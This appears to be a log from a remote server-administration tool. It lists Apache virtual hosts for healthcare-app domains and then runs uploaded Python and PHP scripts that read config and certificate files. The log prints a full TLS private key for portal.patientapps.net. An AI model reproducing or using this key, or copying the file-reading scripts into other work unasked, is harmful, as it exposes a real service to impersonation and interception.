         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-24 11:03:19: 

PUT: /tmp/pkp941740

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 11:03:19: 

chmod 755 /tmp/pkp941740; /tmp/pkp941740; rm /tmp/pkp941740

2026-03-24 11:03:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf	1664

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-24 11:03:19: 

PUT: /tmp/pkp745317

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-24 11:03:19: 

chmod 755 /tmp/pkp745317; /tmp/pkp745317; rm /tmp/pkp745317

2026-03-24 11:03:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt	5390
e6:6c:c8:01:b2:cb:8e:b7:28:46:23:28:d1:0b:18:70

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBTk5AMQS4DUCmUK7IbGInkwIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzI0MTAwNDQ2WhcNMjYwNjIyMTAwNDQ1WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAs1lpOf0D9tXba4Nfa2TilQhB0HXvaLv4HBD+rYQw18FB8fhqS+zP
c+YPFCQbtzKqYhyFM+xNIN1cNaXG1bksI/1+3Cdq8c4C7p952yZnWHNP0TsvlXWt
kRpRrwX6vo8+7rZflpgUaQ+N298PDEQ09H9f7M6fJMcKuLqEtdlYiKmOLyAB331+
Q53dEQxEavBIuEBrpjYxQlDKkEaPy3aU7jNjrFBeT1WG7312ZaR8Fvbh7zTTIbch
gWTJvwGow146z6oughmwo9kY1QVTspSvyjvZNicUjT+DeHlFvAuw+nN2b5YeZlJ6
ODAQ/tO6i1k4o7SjTlpPDn4eb33uIZ/7WQIDAQABo4ICODCCAjQwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBXSn0o5GL3sjejLLtFyMp6E4kgPMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wNwYDVR0RBDAwLoIUbGl2ZS5wYXRpZW50YXBwcy5uZXSC
FnBvcnRhbC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85LmNybDCCAQsG
CisGAQQB1nkCBAIEgfwEgfkA9wB2AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL7
6esp3fjDAAABnR+DXzIAAAQDAEcwRQIgASONcdzBeRGS/HOHRcJRA4582G/VFBSZ
Jn/S5OAhyHECIQDrhF6x8JwhuX76s3tX/cVGDLqnqtKmq2ixLyUyztVhUQB9AGz+
UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnR+DYZ8ACAAABQAENwlZ
BAMARjBEAiBEL7YSoaaD2O9qjlTEYXytUkw27gfhB5s/bposNWIALAIgX4wC9UIL
zbtM9nOIdadmyT5ldokAwEB6Vq6kTyMpZvYwDQYJKoZIhvcNAQELBQADggEBANKE
2UUjqWlgYtPa/7wEOgfBqdlB9KK2w6wvs4twkViYqGoNYIwhUQHx0wYKwrkPo6IG
oYU5EUOmo/xALotqcOa1+Sd0bmNhv9Iyh1RC/xOdaK8YttfdxA3WygyD0AC/RIiu
2u2tJbPIKlpWlvuuUhtAX2us8BdS29gjrdwvJhbV0wYrXgki6TvGj5T2DFtdnSo/
7j9bXq/4LEh+O9GjeE2ZRb6H1I8TlMDWfFZWuTNIeGQmXrc+/QrOnKJx+A73E0IO
ifR43mMJUm9808YswUyr36v2Qet7xRFfPNl/Bt/M0etFvRCQhbruLMT9o+DdaKel
cZNuZeSYegRjdq77ViU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCzWWk5/QP21dtr
g19rZOKVCEHQde9ou/gcEP6thDDXwUHx+GpL7M9z5g8UJBu3MqpiHIUz7E0g3Vw1
pcbVuSwj/X7cJ2rxzgLun3nbJmdYc0/ROy+Vda2RGlGvBfq+jz7utl+WmBRpD43b
3w8MRDT0f1/szp8kxwq4uoS12ViIqY4vIAHffX5Dnd0RDERq8Ei4QGumNjFCUMqQ
Ro/LdpTuM2OsUF5PVYbvfXZlpHwW9uHvNNMhtyGBZMm/AajDXjrPqi6CGbCj2RjV
BVOylK/KO9k2JxSNP4N4eUW8C7D6c3Zvlh5mUno4MBD+07qLWTijtKNOWk8Ofh5v
fe4hn/tZAgMBAAECggEAN4SC9UdkNcGHlaVqITVuilGvBdesD5C4Qf/kxlO4RuF1
B3EtfmlE4oyhuEthJPmTEqHffe41BepgA99YSIp0poNvBLlS+p0Z/UHyl6swrImt
eIhIt4xg+RzbkkFYmCqBgaWEu3pCPy9oa1qGLvbiKZlQWV6wltLid8KNGDm6lTra
mrCYcywpPiEnlcnT3sy59UinIJ4j8dIhCj8R8WsZZ+r3f/j0a2l+bc9jFgMXYHrq
75TJ7kMXbnOEc6GWCVLHHFAnCeBvAkAIZRqcSe4Jx7ZP/fEf36T4BZ0jLoaQKYJ7
O+h76NiihrLsYYW1roEev6NIJ+tQY3b0mdIaKIGKzQKBgQDfMBCF3woWmRfXRtyV
RUqR2Uqonbi1NlwNj8ZDGOFBGElnogpo2HH5mL8Urr5R7Rq+6t2KpbZI3P312YDv
SeRI3KhpTXmEr2Ea9HxA1b0iZO+fGCzExBrsFosAKfpq2MKXhGoCNTk1sYv9PTZB
ggYX4UPWVcG6LL2JLY9T0A25twKBgQDNt27YAlx1YROPXKlVuLNe/h77kABZJ+fu
jT0Tg94XI21khonk51zFfTvT4qjEzRgylRiV/TiDHe9kENXxuxWehkD2IPWdp8h0
VENzPTie5rqVTFaVYciKYLEsbOH7cHZyy3ol11Ii7h99O3Mbx6iKz93k0XvrjSaU
t776sbszbwKBgGxRyIMgd6X2EUMTCjWMFp/ohLqHKcERK+YNFF02MwTDw8R/OWwf
OFm6D2r7UDU0zRlBpdoHiQud7cenE1OPWjMenMHWrxZ9g7RwWemhkpShxkZBlmC9
CI/ydO3UccvvfanJwyVlLWnozJdQYQe0Ej7+vkzE/CveUPLF4Nz9idvLAoGAWNtm
0X8TmM/5tu77Zb+GGv4BPAATZm9KS0xOmWNYRv5Sfh1u6qTU+akCcp9w7rD4RsEI
AaGDC3+eq8Zp4yRATl0HKklKTnLurvDGwbwr/NcEuQBkVdoK2VqyrNHLOuR1BVjG
xhmfrN7WUy2ept0y++KVogSqVjB9/bbwkzC5/5kCgYEAqOMMBaN6qQ2uYrHfOVbR
da/O2cL5LT7XvGkMQSdD8tZJHKo5/x/NU/3hFFgI6wsF7feq0FFcAZQ99FcSBVZT
4XmA5Jzu6X3Nqv0W6abXqDAoqrqWoejIWgxwtfHBUDSf1HNV1+5HdgLt/lZftEnV
J66SOD5CuURsKvZbkSjsqGc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-24 11:06:39: Establishing a connection
2026-03-24 11:06:51: Establishing a connection
2026-03-24 11:06:52: 

PUT: /tmp/pkp386186

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
